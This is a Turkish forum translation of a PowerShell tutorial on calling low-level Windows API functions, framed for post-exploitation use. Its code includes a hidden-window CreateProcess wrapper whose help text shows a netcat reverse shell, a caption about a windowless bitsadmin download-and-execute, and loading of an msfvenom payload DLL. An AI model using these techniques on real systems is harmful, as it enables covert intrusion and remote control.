Windows Hacking Serisi #5 | PowerShell'den Düşük Seviye Windows API'ına Erişim

Dolyetyus

Özel Üye
21 Nis 2020
1,207
676
Delft
PowerShell'den Düşük Seviye Windows API'ına Erişim

Merhabalar, eminim ki sizler şimdi Microsoft’un sömürü-sonrası dili olan PowerShell’in oldukça şahane olduğunu biliyorsunuzdur. PowerShell'i C # \. NET dili ile genişletmek, neredeyse her şeyi yapabileceğiniz anlamına gelmektedir. Bazen sade PowerShell’in işlevselliği yeterli değildir ve Windows API'ye düşük düzeyli erişim gerekmektedir. Bunun bir örneği olarak çevre makinelerinde etkin olan oturumları uzaktan numaralandırmak için NetSess ve Veil-Powerview gibi araçlar tarafından kullanılan NetSessionEnum API'sidir. Bu makalede, kendi Windows API çağrılarınız ile birlikte komut dosyası oluşturmanıza yardımcı olacak birkaç örneğe bakıyor olacağız.

Aşağıdaki verilen örneklerin Windows API yapılarını tanımlamak için C# dilini kullandığına dikkat edilmelidir. C# derlemesi çalışma zamanında geçici olan dosyaları diske yazacağından dolayı, saldırganların bakış açısından bu en uygunu değildir. Ancak, .NET System.Reflection ad alanını kullanmak, başarmaya çalıştığımız şeye biraz daha yük ekler. Temel bilgiler bir kez anlaşıldıktan sonra, Matt Graeber tarafından oluşturulan, gerçek bellek içi ikametgahını elde etmek için yapılan harika işi sırtlamak nispeten kolaydır.


Kaynaklar:
+Pinvoke buradan (İngilizce Kaynak)
+PowerShell’i Windows API ile Etkileşim için kullanın: Bölüm 1 buradan (İngilizce Kaynak)
+PowerShell’i Windows API ile Etkileşim için kullanın: Bölüm 2 buradan (İngilizce Kaynak)
+PowerShell’i Windows API ile Etkileşim için kullanın: Bölüm 3 buradan (İngilizce Kaynak)
+.NET Metotları Ve Yansıma aracılığı ile PowerShell içinden Windows API’ e Erişim buradan (İngilizce Kaynak)
+Derin Yansıma: PowerShell'de Yapıları ve Numaralandırmaları Tanımlama buradan (İngilizce Kaynak)


İndir:
+ Invoke-CreateProcess.ps1 - buradan (İngilizce Kaynak)
+ Invoke-NetSessionEnum.ps1 - buradan (İngilizce Kaynak)


Kullanıcı32::MessageBox

API çağrısı çok az girdi gerektirdiğinden, bir mesaj kutusu oluşturmak çoğu ihtimalle en kolay örneklerden birisidir. Yapı parametrelerini daha iyi anlamak, yapı tanımına ve MSDN girişine bir başlangıç yapmak için MessageBox için pinvoke girişini kontrol ettiğinizden emin olun.
MSDN'den C ++ fonksiyon yapısı aşağıda görülmektedir.


Kod:
[COLOR="plum"] int WINAPI MessageBox(
  _In_opt_ HWND    hWnd,
  _In_opt_ LPCTSTR lpText,
  _In_opt_ LPCTSTR lpCaption,
  _In_     UINT    uType
); [/COLOR]


Bu kod kolayca c# diline çevrilebilir, pinvoke üzerindeki örneğin neredeyse birebir kopyala/yapıştır halidir.


Kod:
 [COLOR="plum"]Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
 
public static class User32
{
    [DllImport("user32.dll", CharSet=CharSet.Auto)]
        public static extern bool MessageBox(
            IntPtr hWnd,     /// Parent window handle 
            String text,     /// Text message to display
            String caption,  /// Window caption
            int options);    /// MessageBox type
}
"@
 
[User32]::MessageBox(0,"Text","Caption",0) |Out-Null [/COLOR]


Yukarıdaki kodu çalıştırmak bize beklenilen Mesaj Kutusunu açar.

WinAPI-1.png



Açıkçası, mesaj kutusu fonksiyonuna ilettiğiniz parametreleri, örnek olarak mesaj kutusunun türünü değiştirebilirsiniz.


Kod:
 [COLOR="plum"][User32]::MessageBox(0,"Text","Caption",0x4)[/COLOR]

WinAPI-2.png



User32 : : CallWindowProc

Hadi şimdi biraz karmaşık şeyler deneyelim; bir dll içinde, dışa aktarılan bir fonksiyonu çağırmak istediğimizde ne olur? Temel olarak aşağıdaki adımları uygulamamız gerekir.


Kod:
[COLOR="plum"] [Kernel32]::LoadLibrary                 # Load DLL
    |___[Kernel32]::GetProcAddress      # Get function pointer
           |___[User32]::CallWindowProc # Call function[/COLOR]


Burada birazcık hile var, CallWindowProc sadece fonksiyon herhangi bir parametreyi beklemiyorsa çalışacaktır. Fakat burada görünüm amaçlı olarak ihtiyaçlarımızı karşılar
User32.dll, kullanıcının masaüstünü kilitlemek için kullanılabilecek bir fonksiyonu (LockWorkStation) barındırır. Bu fonksiyonu çalıştıracak kodu aşağıda görebilirsiniz.

Kod:
[COLOR="plum"] function Instantiate-LockDown {
    Add-Type -TypeDefinition @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
     
    public static class Kernel32
    {
        [DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)]
            public static extern IntPtr LoadLibrary(
                [MarshalAs(UnmanagedType.LPStr)]string lpFileName);
             
        [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
            public static extern IntPtr GetProcAddress(
                IntPtr hModule,
                string procName);
    }
     
    public static class User32
    {
        [DllImport("user32.dll")]
            public static extern IntPtr CallWindowProc(
                IntPtr wndProc,
                IntPtr hWnd,
                int msg,
                IntPtr wParam,
                IntPtr lParam);
    }
"@
     
    $LibHandle = [Kernel32]::LoadLibrary("C:\Windows\System32\user32.dll")
    $FuncHandle = [Kernel32]::GetProcAddress($LibHandle, "LockWorkStation")
     
    if ([System.IntPtr]::Size -eq 4) {
        echo "`nKernel32::LoadLibrary   --> 0x$("{0:X8}" -f $LibHandle.ToInt32())"
        echo "User32::LockWorkStation --> 0x$("{0:X8}" -f $FuncHandle.ToInt32())"
    }
    else {
        echo "`nKernel32::LoadLibrary   --> 0x$("{0:X16}" -f $LibHandle.ToInt64())"
        echo "User32::LockWorkStation --> 0x$("{0:X16}" -f $FuncHandle.ToInt64())"
    }
     
    echo "Locking user session..`n"
    [User32]::CallWindowProc($FuncHandle, 0, 0, 0, 0) | Out-Null
}[/COLOR]


Bu kodu çalıştırmak hızlı bir şekilde kullanıcının masaüstünü kilitleyecektir.


WinAPI-3.png



Tekrar giriş yaptıktan sonra fonksiyon tarafından işlenen kodun çıktısını görebiliriz.


WinAPI-4.png




MSFvenom : : WinExec (…veya değil)

Önceki örneğin ardından msfvenom tarafından oluşturulan bir DLL ile aynı şeyi deneyelim.

WinAPI-5.png



Kişisel olarak ****sploit DLL payload biçimini kullanmak için pek fırsatım olmadı, çünkü asla tam olarak ihtiyacım olan şeyi yapmıyormuş gibi görünüyor.
Durumu düzenlemek için her şeyin DLLMain aracılığıyla açığa çıktığını ortaya çıkaran IDA'ya hızlı bir şekilde göz attım.


WinAPI-6.png



Gayet gülünç bir şekilde, ileri seviye araştırma DLL'nin aslında WinExec kullanmadığını ortaya çıkardı. Bunun yerine DLL, CreateProcess için bir çağrı ayarlıyor.


WinAPI-7.png



Çağrı birazcık tuhaf, görünüşe göre CreateProcess rundll32.exe’yi “askıya alınmış” durumda başlatıyor (dwCreationFlags = 0x44). Neden rundll32.exe’nin lpApplicationName'de normalde olduğu gibi lpCommandLine‘ın içine yerleştirildiğinden emin değilim, lpCommandLine'ın ilk parametresi modül adı olarak değerlendirilen bu durumda lpApplicationName, “NULL” olarak kabul edilebilir.
Sonrasında shellcode işi eline alır, bir payload bayt dizisi ekler ve işi sürdürür.


WinAPI-8.png



İlk amacımıza geri dönersek, yükü PowerShell'den yürütmek gayet kolaydır. Her şey DLLMain içinde olduğundan dolayı, yalnızca uygun DLL yolunu kullanarak LoadLibrary'yi çağırmamız gerekir. Tek karmaşıklık, LoadLibrary çağrısını yaptığımızda PowerShell'in donmasıdır, bundan kaçınmak için işlemi arka plana almak için Start-Job kullanabiliriz.


Kod:
[COLOR="plum"] function Instantiate-MSFDLL {
    $ScriptBlock = { 
        Add-Type -TypeDefinition @"
        using System;
        using System.Diagnostics;
        using System.Runtime.InteropServices;
         
        public static class Kernel32
        {
            [DllImport("kernel32.dll", SetLastError=true, CharSet = CharSet.Ansi)]
                public static extern IntPtr LoadLibrary(
                    [MarshalAs(UnmanagedType.LPStr)]string lpFileName);
        }
"@  
         
        [Kernel32]::LoadLibrary("C:\Users\Fubar\Desktop\calc.dll")
    }
     
    Start-Job -Name MSF_Calc -ScriptBlock $ScriptBlock
}[/COLOR]


Bu fonksiyonu çalıştırmak bize hesap makinesini verir.


WinAPI-9.png




Kernel32 : : CreateProcess

Şimdiye kadar bunları kolayca yaptık, buraya kadarki tüm API çağrıları nispeten küçük ve karmaşık değildi. Ancak bu her zaman böyle değildir, bunun için CreateProcess API çağrısı iyi bir örnektir. Bazen uzak makinede bir komut çalıştırmanız gerekebilir, fakat... bir konsol penceresi açılır. Ben, bu sorunla birkaç kez karşılaştım ve gerçekten basit bir çözümü yok (bir VBS paketleyici önermeyi düşünmeyin bile). Şükür ki, Windows API'ye inersek, konsol uygulamalarındaki GUI penceresini kaldırma yeteneği de dahil olmak üzere, süreç oluşturma üzerinde çok daha ayrıntılı kontrol sunan CreateProcess'i buluyoruz. Her nedense PowerShell'de "-WindowStyle Hidden" flag’ın konsolu tamamen gizlemek için CreateProcess'e bağlanmaması beni hala korkutuyor.

Her iki durumda da, CreateProcess'in tüm avantajlarından yararlanabilen bir işleve sahip olmak, zaman zaman çok yararlı olacaktır. Görelim bunu başarabilecek miyiz? C# örnekleri için Pinvoke'a başvurmayı unutmayın.


Kaynaklar:
+ CreateProcess - buradan
+ STARTUPINFO - buradan
+ PROCESS_INFORMATION - buradan
+ SECURITY_ATTRIBUTES - buradan



Kod:
[COLOR="plum"] BOOL WINAPI CreateProcess(
  _In_opt_    LPCTSTR               lpApplicationName,
  _Inout_opt_ LPTSTR                lpCommandLine,
  _In_opt_    LPSECURITY_ATTRIBUTES lpProcessAttributes, --> SECURITY_ATTRIBUTES Struct
  _In_opt_    LPSECURITY_ATTRIBUTES lpThreadAttributes,  --> SECURITY_ATTRIBUTES Struct
  _In_        BOOL                  bInheritHandles,
  _In_        DWORD                 dwCreationFlags,
  _In_opt_    LP****                lpEnvironment,
  _In_opt_    LPCTSTR               lpCurrentDirectory,
  _In_        LPSTARTUPINFO         lpStartupInfo,       --> STARTUPINFO Struct
  _Out_       LPPROCESS_INFORMATION lpProcessInformation --> PROCESS_INFORMATION Struct
);[/COLOR]

Kod:
 [COLOR="plum"]Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
 
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
    public IntPtr hProcess;
    public IntPtr hThread;
    public uint dwProcessId;
    public uint dwThreadId;
}
 
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
    public uint cb;
    public string lpReserved;
    public string lpDesktop;
    public string lpTitle;
    public uint dwX;
    public uint dwY;
    public uint dwXSize;
    public uint dwYSize;
    public uint dwXCountChars;
    public uint dwYCountChars;
    public uint dwFillAttribute;
    public uint dwFlags;
    public short wShowWindow;
    public short cbReserved2;
    public IntPtr lpReserved2;
    public IntPtr hStdInput;
    public IntPtr hStdOutput;
    public IntPtr hStdError;
}
 
[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_ATTRIBUTES
{
    public int length;
    public IntPtr lpSecurityDescriptor;
    public bool bInheritHandle;
}
 
public static class Kernel32
{
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern bool CreateProcess(
        string lpApplicationName,
        string lpCommandLine,
        ref SECURITY_ATTRIBUTES lpProcessAttributes, 
        ref SECURITY_ATTRIBUTES lpThreadAttributes,
        bool bInheritHandles,
        uint dwCreationFlags, 
        IntPtr lpEnvironment,
        string lpCurrentDirectory,
        ref STARTUPINFO lpStartupInfo, 
        out PROCESS_INFORMATION lpProcessInformation);
}
"@
     
# StartupInfo Struct
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000001 # STARTF_USESHOWWINDOW
$StartupInfo.wShowWindow = 0x0000 # SW_HIDE
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
 
# ProcessInfo Struct
$ProcessInfo = New-Object PROCESS_INFORMATION
 
# SECURITY_ATTRIBUTES Struct (Process & Thread)
$SecAttr = New-Object SECURITY_ATTRIBUTES
$SecAttr.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SecAttr)
 
# CreateProcess --> lpCurrentDirectory
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
 
# Call CreateProcess
[Kernel32]::CreateProcess("C:\Windows\System32\cmd.exe", "/c calc.exe", [ref] $SecAttr, [ref] $SecAttr, $false,
0x08000000, [IntPtr]::Zero, $GetCurrentPath, [ref] $StartupInfo, [ref] $ProcessInfo) |out-null   [/COLOR]


Yukarıda ayarlanan bayraklar, penceresi olmayan bir "cmd.exe" işlemi oluşturmalıdır ve bu da hesap makinesini başlatır. Aslında, cmd'nin “Process Explorer” ile ilişkili bir penceresi olmadığını onaylayabilirsiniz.

WinAPI-13.png




Açıkçası bu kodu yeniden kullanmak biraz sıkıcı. Ben de bu yüzden yeniden kullanmak için güzel bir fonksiyona girdim.

Kod:
[COLOR="plum"] PS C:\Users\Fubar\Desktop> . .\Invoke-CreateProcess.ps1
PS C:\Users\Fubar\Desktop> Get-Help Invoke-CreateProcess -Full

NAME
    Invoke-CreateProcess

SYNOPSIS
    -Binary            Full path of the module to be executed.

    -Args              Arguments to pass to the module, e.g. "/c calc.exe". Defaults
                       to $null if not specified.

    -CreationFlags     Process creation flags:
                         0x00000000 (NONE)
                         0x00000001 (DEBUG_PROCESS)
                         0x00000002 (DEBUG_ONLY_THIS_PROCESS)
                         0x00000004 (CREATE_SUSPENDED)
                         0x00000008 (DETACHED_PROCESS)
                         0x00000010 (CREATE_NEW_CONSOLE)
                         0x00000200 (CREATE_NEW_PROCESS_GROUP)
                         0x00000400 (CREATE_UNICODE_ENVIRONMENT)
                         0x00000800 (CREATE_SEPARATE_WOW_VDM)
                         0x00001000 (CREATE_SHARED_WOW_VDM)
                         0x00040000 (CREATE_PROTECTED_PROCESS)
                         0x00080000 (EXTENDED_STARTUPINFO_PRESENT)
                         0x01000000 (CREATE_BREAKAWAY_FROM_JOB)
                         0x02000000 (CREATE_PRESERVE_CODE_AUTHZ_LEVEL)
                         0x04000000 (CREATE_DEFAULT_ERROR_MODE)
                         0x08000000 (CREATE_NO_WINDOW)

    -ShowWindow        Window display flags:
                         0x0000 (SW_HIDE)
                         0x0001 (SW_SHOWNORMAL)
                         0x0001 (SW_NORMAL)
                         0x0002 (SW_SHOWMINIMIZED)
                         0x0003 (SW_SHOWMAXIMIZED)
                         0x0003 (SW_MAXIMIZE)
                         0x0004 (SW_SHOWNOACTIVATE)
                         0x0005 (SW_SHOW)
                         0x0006 (SW_MINIMIZE)
                         0x0007 (SW_SHOWMINNOACTIVE)
                         0x0008 (SW_SHOWNA)
                         0x0009 (SW_RESTORE)
                         0x000A (SW_SHOWDEFAULT)
                         0x000B (SW_FORCEMINIMIZE)
                         0x000B (SW_MAX)

    -StartF            Bitfield to influence window creation:
                         0x00000001 (STARTF_USESHOWWINDOW)
                         0x00000002 (STARTF_USESIZE)
                         0x00000004 (STARTF_USEPOSITION)
                         0x00000008 (STARTF_USECOUNTCHARS)
                         0x00000010 (STARTF_USEFILLATTRIBUTE)
                         0x00000020 (STARTF_RUNFULLSCREEN)
                         0x00000040 (STARTF_FORCEONFEEDBACK)
                         0x00000080 (STARTF_FORCEOFFFEEDBACK)
                         0x00000100 (STARTF_USESTDHANDLES)

SYNTAX
    Invoke-CreateProcess [-Binary] <String> [[-Args] <String>] [-CreationFlags] <Int32> [-ShowWindow]
    <Int32> [-StartF] <Int32> [<CommonParameters>]


DESCRIPTION
    Author: Ruben Boonen (@FuzzySec)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None


PARAMETERS
    -Binary <String>

        Required?                    true
        Position?                    1
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?

    -Args <String>

        Required?                    false
        Position?                    2
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?

    -CreationFlags <Int32>

        Required?                    true
        Position?                    3
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?

    -ShowWindow <Int32>

        Required?                    true
        Position?                    4
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?

    -StartF <Int32>

        Required?                    true
        Position?                    5
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?

    <CommonParameters>
        This cmdlet supports the common parameters: Verbose, Debug,
        ErrorAction, ErrorVariable, WarningAction, WarningVariable,
        OutBuffer and OutVariable. For more information, type,
        "get-help about_commonparameters".

INPUTS

OUTPUTS

    -------------------------- EXAMPLE 1 --------------------------

    Start calc with NONE/SW_SHOWNORMAL/STARTF_USESHOWWINDOW

    C:\PS> Invoke-CreateProcess -Binary C:\Windows\System32\calc.exe -CreationFlags 0x0 -ShowWindow 0x1
           -StartF 0x1


    -------------------------- EXAMPLE 2 --------------------------

    Start nc reverse shell with CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW

    C:\PS> Invoke-CreateProcess -Binary C:\Some\Path\nc.exe -Args "-nv 127.0.0.1 9988 -e
           C:\Windows\System32\cmd.exe" -CreationFlags 0x8000000 -ShowWindow 0x0 -StartF 0x1[/COLOR]



NONE/SW_NORMAL/STARTF_USESHOWWINDOW

Burada herhangi bir iz bırakmadan sade bir hesap makinesi başlatıyoruz.

WinAPI-10.png




CREATE_NEW_CONSOLE/SW_NORMAL/STARTF_USESHOWWINDOW

Burada ise cmd yeni bir konsolda başlatıldı ve normal şekilde görüntülendi.

WinAPI-11.png





CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW

Burada cmd penceresiz olarak çağrıldı ve bu da greyhathacker domain’ininden bir binary’i yakalamak ve çalıştırmak için bir bitsadmin komutu yürüttü.

WinAPI-12.png




Netapi32 : : NetSessionEnum

Son örneğimiz için NetSessionEnum API'sine bir göz atacağız. Bu harika küçük bir API mücevheridir. Özellikle yeniden birleştirme söz konusu olduğunda, bir domain kullanıcısının domain’ine katılmış makinelerdeki kimliği doğrulanmış oturumları numaralandırmasına izin verir ve yönetici izinlerini gerektirmez. Giriş kısmında da bahsedildiği üzere, bundan yararlanan harika araçlar var, en önemlileri ise NetSess ve Veil-Powerview araçları. Aşağıdaki komut dosyası, yansıma kullanmaması haricinde Powerview'deki "Get-NetSessions" 'a çok benzer.

Kod:
[COLOR="plum"] function Invoke-NetSessionEnum {
<#
.SYNOPSIS
 
    Use Netapi32::NetSessionEnum to enumerate active sessions on domain joined machines.
 
.DESCRIPTION
 
    Author: Ruben Boonen (@FuzzySec)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None
 
.EXAMPLE
    C:\PS> Invoke-NetSessionEnum -HostName SomeHostName
 
#>
 
    param (
        [Parameter(Mandatory = $True)]
        [string]$HostName
    )  
 
    Add-Type -TypeDefinition @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
     
    [StructLayout(LayoutKind.Sequential)]
    public struct SESSION_INFO_10
    {
        [MarshalAs(UnmanagedType.LPWStr)]public string OriginatingHost;
        [MarshalAs(UnmanagedType.LPWStr)]public string DomainUser;
        public uint SessionTime;
        public uint IdleTime;
    }
     
    public static class Netapi32
    {
        [DllImport("Netapi32.dll", SetLastError=true)]
            public static extern int NetSessionEnum(
                [In,MarshalAs(UnmanagedType.LPWStr)] string ServerName,
                [In,MarshalAs(UnmanagedType.LPWStr)] string UncClientName,
                [In,MarshalAs(UnmanagedType.LPWStr)] string UserName,
                Int32 Level,
                out IntPtr bufptr,
                int prefmaxlen,
                ref Int32 entriesread,
                ref Int32 totalentries,
                ref Int32 resume_handle);
                 
        [DllImport("Netapi32.dll", SetLastError=true)]
            public static extern int NetApiBufferFree(
                IntPtr Buffer);
    }
"@
     
    # Create SessionInfo10 Struct
    $SessionInfo10 = New-Object SESSION_INFO_10
    $SessionInfo10StructSize = [System.Runtime.InteropServices.Marshal]::SizeOf($SessionInfo10) # Grab size to loop bufptr
    $SessionInfo10 = $SessionInfo10.GetType() # Hacky, but we need this ;))
     
    # NetSessionEnum params
    $OutBuffPtr = [IntPtr]::Zero # Struct output buffer
    $EntriesRead = $TotalEntries = $ResumeHandle = 0 # Counters & ResumeHandle
    $CallResult = [Netapi32]::NetSessionEnum($HostName, "", "", 10, [ref]$OutBuffPtr, -1, [ref]$EntriesRead, [ref]$TotalEntries, [ref]$ResumeHandle)
     
    if ($CallResult -ne 0){
        echo "Mmm something went wrong!`nError Code: $CallResult"
    }
     
    else {
     
        if ([System.IntPtr]::Size -eq 4) {
            echo "`nNetapi32::NetSessionEnum Buffer Offset  --> 0x$("{0:X8}" -f $OutBuffPtr.ToInt32())"
        }
        else {
            echo "`nNetapi32::NetSessionEnum Buffer Offset  --> 0x$("{0:X16}" -f $OutBuffPtr.ToInt64())"
        }
         
        echo "Result-set contains $EntriesRead session(s)!"
     
        # Change buffer offset to int
        $BufferOffset = $OutBuffPtr.ToInt64()
         
        # Loop buffer entries and cast pointers as SessionInfo10
        for ($Count = 0; ($Count -lt $EntriesRead); $Count++){
            $NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
            $Info = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr,[type]$SessionInfo10)
            $Info
            $BufferOffset = $BufferOffset + $SessionInfo10StructSize
        }
         
        echo "`nCalling NetApiBufferFree, no memleaks here!"
        [Netapi32]::NetApiBufferFree($OutBuffPtr) |Out-Null
    }
}[/COLOR]



Evde geliştirme testleri için kullandığım küçük, kötü niyetli bir domain kurulumum var. Invoke-NetSessionEnum çıktısını aşağıda görebilirsiniz.

WinAPI-14.png




Sonuç:

Umarım ki bu konu sizlere Windows API çağrılarını PowerShell komut dosyalarınıza dahil etme hakkında bazı fikirler vermiştir. Bunu yapmak, PowerShell'de gerçekten elde edemeyeceğiniz hiçbir şeyin olmadığı anlamına gelmektedir. Giriş kısmında da bahsettiğim gibi, .NET yansımasını kullanarak çalışma zamanı C# derlemesinden kaçınmanın bir yolu var, bunun nasıl yapıldığını görmek için PowerSploit çerçevesindeki bazı örneklere göz atmanızı şiddetle tavsiye ederim.

Unutmayın, sakin kalın ve [Winmm]::mciSendString("set CDAudio door open", $null, $null, [IntPtr]::Zero)!


ORİJİNAL KAYNAK: https://www.fuzzysecurity.com/tutorials/24.html
ÇEVİRMEN: Dolyetyus
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.